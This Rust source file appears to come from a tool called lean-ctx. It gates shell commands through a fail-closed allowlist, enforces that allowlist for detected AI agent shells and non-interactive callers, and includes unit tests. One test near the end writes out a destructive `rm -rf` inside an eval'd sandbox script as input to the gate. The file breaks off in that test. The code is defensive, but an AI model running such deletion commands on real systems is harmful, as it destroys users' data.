1use std::io::{self, IsTerminal};
2use std::process::{Command, Stdio};
3
4use crate::core::config;
5
6pub enum PreparedShellExecution {
9 Shell {
10 command: String,
11 collapsed_nested: bool,
12 },
13 DirectArgv(Vec<String>),
14 SandboxLauncher(Vec<String>),
17}
18
19#[derive(Debug, Eq, PartialEq)]
21pub struct ShellDispatchObservation {
22 pub exit_code: i32,
23 pub child_dispatch_attempted: bool,
24}
25
26pub fn prepare_exec(command: &str) -> Result<PreparedShellExecution, i32> {
29 if let Some(code) = reject_if_exec_depth_exceeded() {
30 return Err(code);
31 }
32
33 if let Some(argv) = super::super::agent_wrapper::os_sandbox_launcher_argv(command) {
42 if let Some(code) = allowlist_gate(&sandbox_launcher_gated_command(&argv)) {
43 return Err(code);
44 }
45 return Ok(PreparedShellExecution::SandboxLauncher(argv));
46 }
47
48 let (command, collapsed_nested) = prepare_shell_command(command);
49 if let Some(code) = allowlist_gate(&command) {
50 return Err(code);
51 }
52 Ok(PreparedShellExecution::Shell {
53 command,
54 collapsed_nested,
55 })
56}
57
58pub fn prepare_exec_argv(args: &[String]) -> Result<PreparedShellExecution, i32> {
60 if args.is_empty() {
61 return Err(127);
62 }
63
64 if let Some(code) = reject_if_exec_depth_exceeded() {
65 return Err(code);
66 }
67
68 let joined = super::super::platform::join_command(args);
73
74 if let Some(u) = super::super::agent_wrapper::unwrap_agent_wrapper(&joined) {
79 let (command, collapsed_nested) = prepare_shell_command(&u.rebuild());
80 if let Some(code) = allowlist_gate(&command) {
81 return Err(code);
82 }
83 return Ok(PreparedShellExecution::Shell {
84 command,
85 collapsed_nested,
86 });
87 }
88
89 if let Some(code) = allowlist_gate(&joined) {
93 return Err(code);
94 }
95
96 Ok(PreparedShellExecution::DirectArgv(args.to_vec()))
97}
98
99pub fn execute_prepared(prepared: PreparedShellExecution) -> ShellDispatchObservation {
104 let exit_code = match prepared {
105 PreparedShellExecution::Shell {
106 command,
107 collapsed_nested,
108 } => execute_shell_post_gate(&command, collapsed_nested),
109 PreparedShellExecution::DirectArgv(args) => execute_argv_post_gate(&args),
110 PreparedShellExecution::SandboxLauncher(argv) => exec_sandbox_launcher(&argv),
111 };
112
113 ShellDispatchObservation {
114 exit_code,
115 child_dispatch_attempted: true,
116 }
117}
118
119pub fn exec_argv(args: &[String]) -> i32 {
125 prepare_exec_argv(args)
126 .map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
127}
128
129fn execute_argv_post_gate(args: &[String]) -> i32 {
130 if super::super::reentry::should_pass_through() {
131 return exec_direct(args);
132 }
133
134 let cfg = config::Config::load();
135 let joined = super::super::platform::join_command(args);
136 let policy = super::super::output_policy::classify(&joined, &cfg.excluded_commands);
137
138 if policy.is_protected() {
139 let code = exec_direct(args);
140 crate::core::tool_lifecycle::record_shell_command(0, 0);
141 return code;
142 }
143
144 let code = exec_direct(args);
145 crate::core::tool_lifecycle::record_shell_command(0, 0);
146 code
147}
148
149fn reject_if_exec_depth_exceeded() -> Option<i32> {
160 if !super::super::reentry::exec_depth_exceeded() {
161 return None;
162 }
163 eprintln!(
164 "lean-ctx: refusing to nest further (depth >= {}) — a shell hook is re-firing inside a \
165 command lean-ctx already spawned. Running the command raw instead of risking a \
166 runaway process loop. If this persists, check for a duplicate/competing shell \
167 integration that also wraps commands through lean-ctx.",
168 super::super::reentry::MAX_EXEC_DEPTH
169 );
170 Some(126)
171}
172
173fn exec_direct(args: &[String]) -> i32 {
174 let mut cmd = Command::new(&args[0]);
175 cmd.args(&args[1..])
176 .stdin(Stdio::inherit())
177 .stdout(Stdio::inherit())
178 .stderr(Stdio::inherit());
179 super::super::reentry::mark_child(&mut cmd);
180 super::super::platform::apply_utf8_locale(&mut cmd);
181 let status = cmd.status();
182
183 match status {
184 Ok(s) => crate::shell::exit_status::exit_code(s),
185 Err(e) => {
186 tracing::error!("lean-ctx: failed to execute: {e}");
187 127
188 }
189 }
190}
191
192fn allowlist_must_enforce() -> bool {
211 let hook_child = crate::core::runtime_flags::hook_child_enabled();
212 let warn_only = crate::core::config::shell_policy::cli_warn_only_requested();
213 let interactive = io::stderr().is_terminal() && crate::core::host_env::stdin_is_terminal();
214 allowlist_must_enforce_inner(hook_child, agent_host_marker(), warn_only, interactive)
215}
216
217fn agent_host_marker() -> bool {
219 [
220 "CLAUDECODE",
221 "CLAUDE_CODE_ENTRYPOINT",
222 "CODEX_THREAD_ID",
223 "CODEX_SANDBOX",
224 "CURSOR_TASK_ID",
225 "CURSOR_AGENT",
226 "GEMINI_CLI",
227 ]
228 .iter()
229 .any(|key| std::env::var_os(key).is_some_and(|v| !v.is_empty()))
230}
231
232#[allow(clippy::fn_params_excessive_bools)]
235fn allowlist_must_enforce_inner(
236 hook_child: bool,
237 agent_shell: bool,
238 warn_only: bool,
239 interactive: bool,
240) -> bool {
241 if hook_child {
242 return true;
243 }
244 if warn_only {
245 return false;
246 }
247 agent_shell || !interactive
248}
249
250fn stdout_is_regular_file() -> bool {
263 #[cfg(unix)]
264 {
265 use std::os::unix::io::{AsRawFd, FromRawFd};
266 let fd = io::stdout().as_raw_fd();
267 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_fd(fd) });
270 file.metadata().is_ok_and(|m| m.is_file())
271 }
272 #[cfg(windows)]
273 {
274 use std::os::windows::io::{AsRawHandle, FromRawHandle};
275 let handle = io::stdout().as_raw_handle();
276 let file = std::mem::ManuallyDrop::new(unsafe { std::fs::File::from_raw_handle(handle) });
279 file.metadata().is_ok_and(|m| m.is_file())
280 }
281 #[cfg(not(any(unix, windows)))]
282 {
283 false
284 }
285}
286
287const COMPRESS_FILE_STDOUT_ENV: &str = "LEAN_CTX_COMPRESS_FILE_STDOUT";
290
291fn file_stdout_opt_in() -> bool {
293 std::env::var(COMPRESS_FILE_STDOUT_ENV).is_ok_and(|value| value.trim() == "1")
294}
295
296fn regular_file_stays_verbatim(stdout_is_file: bool, opted_in: bool) -> bool {
306 stdout_is_file && !opted_in
307}
308
309fn command_has_file_redirect(cmd: &str) -> bool {
313 let bytes = cmd.as_bytes();
314 let len = bytes.len();
315 let mut i = 0;
316 let mut in_single_quote = false;
317 let mut in_double_quote = false;
318
319 while i < len {
320 let c = bytes[i];
321 if c == b'\\' && !in_single_quote {
322 i += 2;
323 continue;
324 }
325 if c == b'\'' && !in_double_quote {
326 in_single_quote = !in_single_quote;
327 } else if c == b'"' && !in_single_quote {
328 in_double_quote = !in_double_quote;
329 } else if c == b'>' && !in_single_quote && !in_double_quote {
330 if i > 0 && bytes[i - 1] == b'2' {
331 i += 1;
332 continue;
333 }
334 let target_start = if i + 1 < len && bytes[i + 1] == b'>' {
335 i + 2
336 } else {
337 i + 1
338 };
339 let target: String = cmd[target_start..]
340 .trim_start()
341 .chars()
342 .take_while(|c| !c.is_whitespace())
343 .collect();
344 if target == "/dev/null" || target == "/dev/stdout" || target == "/dev/stderr" {
345 i += 1;
346 continue;
347 }
348 if let Some(fd) = target.strip_prefix('&')
349 && !fd.is_empty()
350 && (fd == "-" || fd.chars().all(|c| c.is_ascii_digit()))
351 {
352 i += 1;
353 continue;
354 }
355 if !target.is_empty() {
356 return true;
357 }
358 }
359 i += 1;
360 }
361 false
362}
363
364pub fn allowlist_gate(command: &str) -> Option<i32> {
376 if !crate::core::shell_allowlist::gate_registered() {
379 eprintln!(
380 "lean-ctx: no shell-allowlist policy is registered in this build; \
381 refusing to run the command (fail closed)"
382 );
383 return Some(126);
384 }
385 if let Err(msg) = crate::core::shell_allowlist::check_registered(command) {
386 if allowlist_must_enforce() {
387 eprintln!("{msg}");
388 eprintln!(
389 "lean-ctx: command blocked by shell allowlist. \
390 To allow it, run `lean-ctx allow <cmd>` in your own terminal \
391 (or set shell_security = \"warn\" in your config.toml)."
392 );
393 return Some(126);
394 }
395 let reason = crate::core::shell_allowlist::warn_only_reason_registered(msg.message());
401 if io::stderr().is_terminal() {
402 tracing::debug!("[CLI] Command would be blocked in MCP mode: {reason}");
403 } else {
404 tracing::info!("[CLI] Command would be blocked in MCP mode; it ran ({reason})");
405 }
406 }
407 None
408}
409
410pub fn exec(command: &str) -> i32 {
411 prepare_exec(command).map_or_else(|code| code, |prepared| execute_prepared(prepared).exit_code)
412}
413
414fn prepare_shell_command(command: &str) -> (String, bool) {
415 let unwrapped = super::super::agent_wrapper::unwrap_agent_wrapper(command).map(|u| u.rebuild());
421 let mut collapsed_nested = false;
422 let collapsed;
423 let command = unwrapped.as_deref().unwrap_or(command);
424 let command = if let Some(c) = collapse_nested_lean_ctx_exec(command) {
425 collapsed_nested = true;
426 collapsed = c;
427 collapsed.as_str()
428 } else {
429 command
430 };
431
432 (command.to_string(), collapsed_nested)
433}
434
435fn execute_shell_post_gate(command: &str, collapsed_nested: bool) -> i32 {
436 let (shell, shell_flag) = super::super::platform::shell_and_flag();
437 let command = crate::shell::command_text::normalize_command_for_shell(command);
438 let command = command.as_str();
445
446 if super::super::reentry::is_disabled() {
447 return exec_inherit(command, &shell, &shell_flag);
448 }
449 if should_delegate_wrapped_to_shell_default(collapsed_nested) {
450 return exec_shell_default(command, &shell, &shell_flag);
451 }
452
453 let cfg = config::Config::load();
454 let force_compress = crate::core::runtime_flags::compress_enabled();
455 let raw_mode = crate::core::runtime_flags::raw_enabled();
456
457 if raw_mode {
458 return exec_inherit_tracked(command, &shell, &shell_flag);
459 }
460
461 let policy = super::super::output_policy::classify(command, &cfg.excluded_commands);
462
463 if policy == super::super::output_policy::OutputPolicy::Passthrough {
465 return exec_inherit_tracked(command, &shell, &shell_flag);
466 }
467
468 if policy == super::super::output_policy::OutputPolicy::Verbatim && !force_compress {
472 return exec_inherit_tracked(command, &shell, &shell_flag);
473 }
474
475 if !force_compress {
476 if io::stdout().is_terminal() {
477 return exec_inherit_tracked(command, &shell, &shell_flag);
478 }
479 let code = exec_inherit(command, &shell, &shell_flag);
480 crate::core::tool_lifecycle::record_shell_command(0, 0);
481 return code;
482 }
483
484 if regular_file_stays_verbatim(stdout_is_regular_file(), file_stdout_opt_in()) {
495 return exec_inherit_limited(command, &shell, &shell_flag, Stdio::inherit());
496 }
497
498 if command_has_file_redirect(command) {
505 return exec_inherit_limited(command, &shell, &shell_flag, Stdio::inherit());
506 }
507
508 super::super::pipeline::exec_buffered(command, &shell, &shell_flag, &cfg)
509}
510
511fn collapse_nested_lean_ctx_exec(command: &str) -> Option<String> {
512 let mut current = command.trim().to_string();
513 let mut changed = false;
514
515 while let Some(next) = strip_one_lean_ctx_exec(¤t) {
516 if next == current {
517 break;
518 }
519 current = next;
520 changed = true;
521 }
522
523 changed.then_some(current)
524}
525
526fn should_delegate_wrapped_to_shell_default(collapsed_nested: bool) -> bool {
527 super::super::reentry::is_wrapped() && !collapsed_nested
531}
532
533fn strip_one_lean_ctx_exec(command: &str) -> Option<String> {
534 let words = split_simple_shell_words(command)?;
535 if words.len() < 3 || !is_lean_ctx_bin(&words[0].value) {
536 return None;
537 }
538 if words[1].value != "-c" && words[1].value != "exec" {
539 return None;
540 }
541 if words[2..].iter().any(|w| {
542 matches!(
543 w.value.as_str(),
544 "|" | "||" | "&" | "&&" | ";" | "<" | ">" | ">>"
545 )
546 }) {
547 return None;
548 }
549 if words.len() == 3 {
550 Some(words[2].value.trim().to_string())
551 } else {
552 Some(command[words[2].start..].trim().to_string())
553 }
554}
555
556fn is_lean_ctx_bin(word: &str) -> bool {
557 std::path::Path::new(word)
558 .file_name()
559 .and_then(|name| name.to_str())
560 .is_some_and(|name| name == "lean-ctx" || name == "lean-ctx.exe")
561}
562
563struct SimpleShellWord {
564 value: String,
565 start: usize,
566}
567
568fn split_simple_shell_words(command: &str) -> Option<Vec<SimpleShellWord>> {
569 let mut words = Vec::new();
570 let mut current = String::new();
571 let mut current_start: Option<usize> = None;
572 let mut chars = command.char_indices().peekable();
573 let mut quote: Option<char> = None;
574
575 while let Some((idx, ch)) = chars.next() {
576 match quote {
577 Some('\'') if ch == '\'' => quote = None,
578 Some('"') if ch == '"' => quote = None,
579 None if ch == '\'' || ch == '"' => {
580 current_start.get_or_insert(idx);
581 quote = Some(ch);
582 }
583 Some('"') | None if ch == '\\' => {
584 current_start.get_or_insert(idx);
585 if let Some((_, next)) = chars.next() {
586 current.push(next);
587 }
588 }
589 None if ch.is_whitespace() => {
590 if let Some(start) = current_start.take() {
591 words.push(SimpleShellWord {
592 value: std::mem::take(&mut current),
593 start,
594 });
595 }
596 }
597 Some(_) | None => {
598 current_start.get_or_insert(idx);
599 current.push(ch);
600 }
601 }
602 }
603
604 if quote.is_some() {
605 return None;
606 }
607 if let Some(start) = current_start {
608 words.push(SimpleShellWord {
609 value: current,
610 start,
611 });
612 }
613 (!words.is_empty()).then_some(words)
614}
615
616#[doc(hidden)]
621pub fn sandbox_launcher_gated_command(argv: &[String]) -> String {
622 let script = argv.last().map_or("", String::as_str);
623 super::super::agent_wrapper::unwrap_agent_wrapper(script)
624 .map_or_else(|| script.to_string(), |u| u.rebuild())
625}
626
627fn exec_sandbox_launcher(argv: &[String]) -> i32 {
635 match sandbox_launcher_command(argv).status() {
636 Ok(s) => crate::shell::exit_status::exit_code(s),
637 Err(e) => {
638 tracing::error!("lean-ctx: failed to execute sandbox launcher: {e}");
639 127
640 }
641 }
642}
643
644fn sandbox_launcher_command(argv: &[String]) -> Command {
645 let mut cmd = Command::new(&argv[0]);
646 cmd.args(&argv[1..])
647 .stdin(Stdio::inherit())
648 .stdout(Stdio::inherit())
649 .stderr(Stdio::inherit());
650 super::super::reentry::clear_shell_default_markers(&mut cmd);
651 super::super::reentry::stamp_exec_depth(&mut cmd);
652 super::super::platform::apply_utf8_locale(&mut cmd);
653 cmd
654}
655
656fn exec_inherit(command: &str, shell: &str, shell_flag: &str) -> i32 {
657 let status = inherit_command(command, shell, shell_flag).status();
658
659 match status {
660 Ok(s) => crate::shell::exit_status::exit_code(s),
661 Err(e) => {
662 tracing::error!("lean-ctx: failed to execute: {e}");
663 127
664 }
665 }
666}
667
668fn inherit_command(command: &str, shell: &str, shell_flag: &str) -> Command {
669 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
672 let mut cmd = Command::new(shell);
673 cmd.arg(shell_flag)
674 .arg(&spawn_command)
675 .stdin(Stdio::inherit())
676 .stdout(Stdio::inherit())
677 .stderr(Stdio::inherit());
678 super::super::reentry::mark_child(&mut cmd);
679 super::super::platform::apply_utf8_locale(&mut cmd);
680 super::super::platform::apply_profile_free_env(&mut cmd);
681 cmd
682}
683
684fn exec_inherit_limited(command: &str, shell: &str, shell_flag: &str, stdout: Stdio) -> i32 {
691 let mut cmd = inherit_command(command, shell, shell_flag);
692 cmd.stdout(stdout);
693 let isolate = !crate::core::host_env::stdin_is_terminal();
694 #[cfg(unix)]
695 if isolate {
696 use std::os::unix::process::CommandExt as _;
697 cmd.process_group(0);
698 }
699 let child = match cmd.spawn() {
700 Ok(child) => child,
701 Err(e) => {
702 tracing::error!("lean-ctx: failed to execute: {e}");
703 return 127;
704 }
705 };
706 let (max_bytes, timeout) = super::exec_limits(command);
707 let (status, timed_out) = super::wait_inherited_with_timeout(child, timeout, isolate);
708 if timed_out {
709 eprint!("{}", super::output_limit_notice(max_bytes, timeout));
710 }
711 crate::core::tool_lifecycle::record_shell_command(0, 0);
712 crate::shell::exit_status::exit_code(status)
713}
714
715fn exec_shell_default(command: &str, shell: &str, shell_flag: &str) -> i32 {
716 let spawn_command = super::super::platform::zsh_safe_command(command, shell);
717 let mut cmd = Command::new(shell);
718 cmd.arg(shell_flag)
719 .arg(&spawn_command)
720 .stdin(Stdio::inherit())
721 .stdout(Stdio::inherit())
722 .stderr(Stdio::inherit());
723 super::super::reentry::clear_shell_default_markers(&mut cmd);
724 super::super::reentry::stamp_exec_depth(&mut cmd);
725 super::super::platform::apply_utf8_locale(&mut cmd);
726 super::super::platform::apply_profile_free_env(&mut cmd);
727 let status = cmd.status();
728
729 match status {
730 Ok(s) => crate::shell::exit_status::exit_code(s),
731 Err(e) => {
732 eprintln!("lean-ctx: failed to execute '{command}': {e}");
733 127
734 }
735 }
736}
737
738fn exec_inherit_tracked(command: &str, shell: &str, shell_flag: &str) -> i32 {
739 let code = exec_inherit(command, shell, shell_flag);
740 crate::core::tool_lifecycle::record_shell_command(0, 0);
741 code
742}
743
744pub const STDERR_LABEL: &str = "--- stderr ---";
748
749pub fn combine_streams(stdout: &str, stderr: &str, exit_code: i32) -> String {
753 match (stdout.is_empty(), stderr.is_empty()) {
754 (_, true) => stdout.to_string(),
755 (true, false) => stderr.to_string(),
756 (false, false) if exit_code != 0 => format!("{stdout}\n{STDERR_LABEL}\n{stderr}"),
757 (false, false) => format!("{stdout}\n{stderr}"),
758 }
759}
760
761#[cfg(test)]
764mod nested_lean_ctx_exec_tests;
765
766#[cfg(test)]
767mod exec_tests {
768 #[test]
769 fn combine_streams_labels_stderr_on_failure() {
770 let out = super::combine_streams("build ok", "linker: undefined symbol", 1);
771 assert_eq!(
772 out,
773 format!(
774 "build ok\n{}\nlinker: undefined symbol",
775 super::STDERR_LABEL
776 )
777 );
778 }
779
780 #[test]
781 fn combine_streams_plain_join_on_success() {
782 let out = super::combine_streams("step 1", "warning: noop", 0);
783 assert_eq!(out, "step 1\nwarning: noop");
784 assert!(!out.contains(super::STDERR_LABEL));
785 }
786
787 #[test]
790 fn regular_file_stays_verbatim_only_without_the_opt_in() {
791 assert!(super::regular_file_stays_verbatim(true, false));
792 assert!(!super::regular_file_stays_verbatim(true, true));
793 assert!(!super::regular_file_stays_verbatim(false, false));
794 assert!(!super::regular_file_stays_verbatim(false, true));
795 }
796
797 #[test]
798 fn the_file_stdout_opt_in_is_one_after_trimming() {
799 let _lock = crate::core::data_dir::test_env_lock();
800 for (value, expected) in [
801 ("1", true),
802 (" 1 ", true),
803 ("0", false),
804 ("true", false),
805 ("", false),
806 ] {
807 crate::test_env::set_var(super::COMPRESS_FILE_STDOUT_ENV, value);
808 assert_eq!(super::file_stdout_opt_in(), expected, "value {value:?}");
809 }
810 crate::test_env::remove_var(super::COMPRESS_FILE_STDOUT_ENV);
811 assert!(!super::file_stdout_opt_in());
812 }
813
814 #[test]
815 fn combine_streams_single_stream_is_unchanged() {
816 assert_eq!(super::combine_streams("only stdout", "", 1), "only stdout");
817 assert_eq!(super::combine_streams("", "only stderr", 1), "only stderr");
818 }
819
820 #[test]
821 fn exec_direct_runs_true() {
822 let code = super::exec_direct(&["true".to_string()]);
823 assert_eq!(code, 0);
824 }
825
826 #[test]
827 fn exec_direct_runs_false() {
828 let code = super::exec_direct(&["false".to_string()]);
829 assert_ne!(code, 0);
830 }
831
832 #[test]
833 fn exec_direct_preserves_args_with_special_chars() {
834 let code = super::exec_direct(&[
835 "echo".to_string(),
836 "hello world".to_string(),
837 "it's here".to_string(),
838 "a \"quoted\" thing".to_string(),
839 ]);
840 assert_eq!(code, 0);
841 }
842
843 #[test]
844 fn exec_direct_nonexistent_returns_127() {
845 let code = super::exec_direct(&["__nonexistent_binary_12345__".to_string()]);
846 assert_eq!(code, 127);
847 }
848
849 #[test]
850 fn exec_argv_empty_returns_127() {
851 let code = super::exec_argv(&[]);
852 assert_eq!(code, 127);
853 }
854
855 #[test]
856 fn prepare_exec_denies_before_dispatch() {
857 let _lock = crate::core::data_dir::test_env_lock();
858 crate::core::shell_allowlist::install_test_gate();
859 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
860 crate::test_env::remove_var("LEAN_CTX_DISABLED");
861 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
862 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
863 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
864
865 let prepared = super::prepare_exec("xxd");
866
867 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
868 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
869
870 assert!(matches!(prepared, Err(126)));
871 }
872
873 #[test]
874 fn prepare_exec_argv_empty_returns_127() {
875 assert!(matches!(super::prepare_exec_argv(&[]), Err(127)));
876 }
877
878 #[test]
879 fn execute_prepared_spawn_failure_is_attempted() {
880 let _lock = crate::core::data_dir::test_env_lock();
881 crate::core::shell_allowlist::install_test_gate();
882 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
883 crate::test_env::remove_var("LEAN_CTX_DISABLED");
884 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
885 crate::test_env::set_var(
886 "LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE",
887 "__lean_ctx_phase5_missing_binary__",
888 );
889
890 let prepared =
891 super::prepare_exec_argv(&["__lean_ctx_phase5_missing_binary__".to_string()])
892 .expect("test binary name is allowlisted");
893 let observation = super::execute_prepared(prepared);
894
895 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
896 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
897
898 assert_eq!(observation.exit_code, 127);
899 assert!(observation.child_dispatch_attempted);
900 }
901
902 #[test]
903 fn execute_prepared_reports_child_exit() {
904 let _lock = crate::core::data_dir::test_env_lock();
905 crate::core::shell_allowlist::install_test_gate();
906 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
907 crate::test_env::remove_var("LEAN_CTX_DISABLED");
908 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
909 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
910
911 let prepared = super::prepare_exec_argv(&["true".to_string()]).unwrap();
912 let observation = super::execute_prepared(prepared);
913
914 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
915 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
916
917 assert_eq!(observation.exit_code, 0);
918 assert!(observation.child_dispatch_attempted);
919 }
920
921 #[test]
922 fn prepare_exec_argv_preserves_special_argument_bytes() {
923 let _lock = crate::core::data_dir::test_env_lock();
924 crate::core::shell_allowlist::install_test_gate();
925 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
926 crate::test_env::remove_var("LEAN_CTX_DISABLED");
927 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
928 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "printf");
929 let args = vec![
930 "printf".to_string(),
931 "%s|%s|%s".to_string(),
932 "hello world".to_string(),
933 "it's here".to_string(),
934 "a \"quoted\" thing; $HOME".to_string(),
935 ];
936
937 let prepared = super::prepare_exec_argv(&args).unwrap();
938
939 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
940 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
941
942 match prepared {
943 super::PreparedShellExecution::DirectArgv(actual) => assert_eq!(actual, args),
944 super::PreparedShellExecution::Shell { .. }
945 | super::PreparedShellExecution::SandboxLauncher(_) => {
946 panic!("direct argv must not be reparsed as a shell command")
947 }
948 }
949 }
950
951 #[test]
952 fn compatibility_wrappers_match_for_allowlisted_command() {
953 let _lock = crate::core::data_dir::test_env_lock();
954 crate::core::shell_allowlist::install_test_gate();
955 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
956 crate::test_env::remove_var("LEAN_CTX_DISABLED");
957 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
958 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
959 crate::test_env::set_var("LEAN_CTX_NO_HOOK", "1");
963
964 let shell_code = super::exec("true");
965 let argv_code = super::exec_argv(&["true".to_string()]);
966
967 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
968 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
969 crate::test_env::remove_var("LEAN_CTX_NO_HOOK");
970
971 assert_eq!(shell_code, argv_code);
972 }
973
974 #[test]
975 fn exec_argv_runs_simple_command() {
976 let _lock = crate::core::data_dir::test_env_lock();
977 crate::core::shell_allowlist::install_test_gate();
978 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
979 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
980 let code = super::exec_argv(&["true".to_string()]);
981 assert_eq!(code, 0);
982 }
983
984 #[test]
985 fn exec_argv_passes_through_when_disabled() {
986 let _lock = crate::core::data_dir::test_env_lock();
987 crate::core::shell_allowlist::install_test_gate();
988 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
989 crate::test_env::set_var("LEAN_CTX_DISABLED", "1");
990 let code = super::exec_argv(&["true".to_string()]);
991 crate::test_env::remove_var("LEAN_CTX_DISABLED");
992 assert_eq!(code, 0);
993 }
994
995 #[test]
999 fn exec_argv_enforces_allowlist_for_disallowed_command() {
1000 let _lock = crate::core::data_dir::test_env_lock();
1001 crate::core::shell_allowlist::install_test_gate();
1002 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
1003 crate::test_env::remove_var("LEAN_CTX_DISABLED");
1004 crate::test_env::remove_var("LEAN_CTX_ALLOWLIST_WARN_ONLY");
1005 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
1007 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "git");
1008
1009 let code = super::exec_argv(&["xxd".to_string()]);
1012
1013 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
1014 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
1015
1016 assert_eq!(
1017 code, 126,
1018 "non-allowlisted command must be blocked on the -t track path"
1019 );
1020 }
1021
1022 #[test]
1023 fn exec_argv_allows_allowlisted_command() {
1024 let _lock = crate::core::data_dir::test_env_lock();
1025 crate::core::shell_allowlist::install_test_gate();
1026 crate::test_env::remove_var("LEAN_CTX_ACTIVE");
1027 crate::test_env::remove_var("LEAN_CTX_DISABLED");
1028 crate::test_env::set_var("LEAN_CTX_HOOK_CHILD", "1");
1029 crate::test_env::set_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE", "true");
1030
1031 let code = super::exec_argv(&["true".to_string()]);
1032
1033 crate::test_env::remove_var("LEAN_CTX_HOOK_CHILD");
1034 crate::test_env::remove_var("LEAN_CTX_SHELL_ALLOWLIST_OVERRIDE");
1035
1036 assert_eq!(code, 0, "allowlisted command must run on the -t track path");
1037 }
1038 #[test]
1040 fn allowlist_enforces_in_hook_child_mode() {
1041 assert!(super::allowlist_must_enforce_inner(
1043 true, false, false, true
1044 ));
1045 assert!(super::allowlist_must_enforce_inner(true, false, true, true));
1046 }
1047
1048 #[test]
1049 fn allowlist_enforces_for_non_interactive_callers() {
1050 assert!(super::allowlist_must_enforce_inner(
1052 false, false, false, false
1053 ));
1054 }
1055
1056 #[test]
1059 fn allowlist_enforces_for_agent_shells_with_a_terminal() {
1060 assert!(super::allowlist_must_enforce_inner(
1061 false, true, false, true
1062 ));
1063 }
1064
1065 #[test]
1066 fn allowlist_warns_for_interactive_humans() {
1067 assert!(!super::allowlist_must_enforce_inner(
1069 false, false, false, true
1070 ));
1071 }
1072
1073 #[test]
1074 fn allowlist_warn_only_opt_out_downgrades_non_interactive() {
1075 assert!(!super::allowlist_must_enforce_inner(
1077 false, false, true, false
1078 ));
1079 assert!(super::allowlist_must_enforce_inner(
1080 true, false, true, false
1081 ));
1082 }
1083
1084 #[test]
1087 fn redirect_to_file_detected() {
1088 assert!(super::command_has_file_redirect("git show HEAD:f > out.md"));
1089 assert!(super::command_has_file_redirect("git diff >> changes.log"));
1090 assert!(super::command_has_file_redirect(
1091 "git status > /tmp/status.txt"
1092 ));
1093 }
1094
1095 #[test]
1096 fn no_redirect_not_detected() {
1097 assert!(!super::command_has_file_redirect("git status"));
1098 assert!(!super::command_has_file_redirect("cargo test --lib"));
1099 }
1100
1101 #[test]
1102 fn dev_null_not_detected_as_redirect() {
1103 assert!(!super::command_has_file_redirect("cargo test > /dev/null"));
1104 assert!(!super::command_has_file_redirect("cmd > /dev/stdout"));
1105 assert!(!super::command_has_file_redirect("cmd > /dev/stderr"));
1106 }
1107
1108 #[test]
1109 fn stderr_redirect_not_detected() {
1110 assert!(!super::command_has_file_redirect(
1111 "cargo test 2> errors.log"
1112 ));
1113 assert!(!super::command_has_file_redirect("cargo test 2>/dev/null"));
1114 }
1115
1116 #[test]
1117 fn fd_dup_not_detected() {
1118 assert!(!super::command_has_file_redirect("cargo test 2>&1"));
1119 assert!(!super::command_has_file_redirect("cmd >&2"));
1120 }
1121
1122 #[test]
1123 fn quoted_redirect_not_detected() {
1124 assert!(!super::command_has_file_redirect("echo 'a > b'"));
1125 assert!(!super::command_has_file_redirect("echo \"a > b\""));
1126 assert!(!super::command_has_file_redirect(
1127 "gh pr create --body 'see > details'"
1128 ));
1129 }
1130
1131 #[test]
1132 fn escaped_redirect_not_detected() {
1133 assert!(!super::command_has_file_redirect("echo a \\> b"));
1134 }
1135
1136 #[test]
1140 fn sandbox_launcher_gates_the_script_it_runs() {
1141 let argv = |script: &str| -> Vec<String> {
1142 [
1143 "/usr/bin/sandbox-exec",
1144 "-p",
1145 "(allow default)",
1146 "/bin/bash",
1147 "-c",
1148 script,
1149 ]
1150 .iter()
1151 .map(|s| (*s).to_string())
1152 .collect()
1153 };
1154 assert_eq!(
1155 super::sandbox_launcher_gated_command(&argv(
1156 "setopt NO_EXTENDED_GLOB 2>/dev/null || true && eval 'rm -rf /tmp/x' < /dev/null && pwd -P >| /tmp/claude/cwd-1"
1157 )),
1158 "{ rm -rf /tmp/x\n} && pwd -P >| /tmp/claude/cwd-1"
1159 );
1160 assert_eq!(
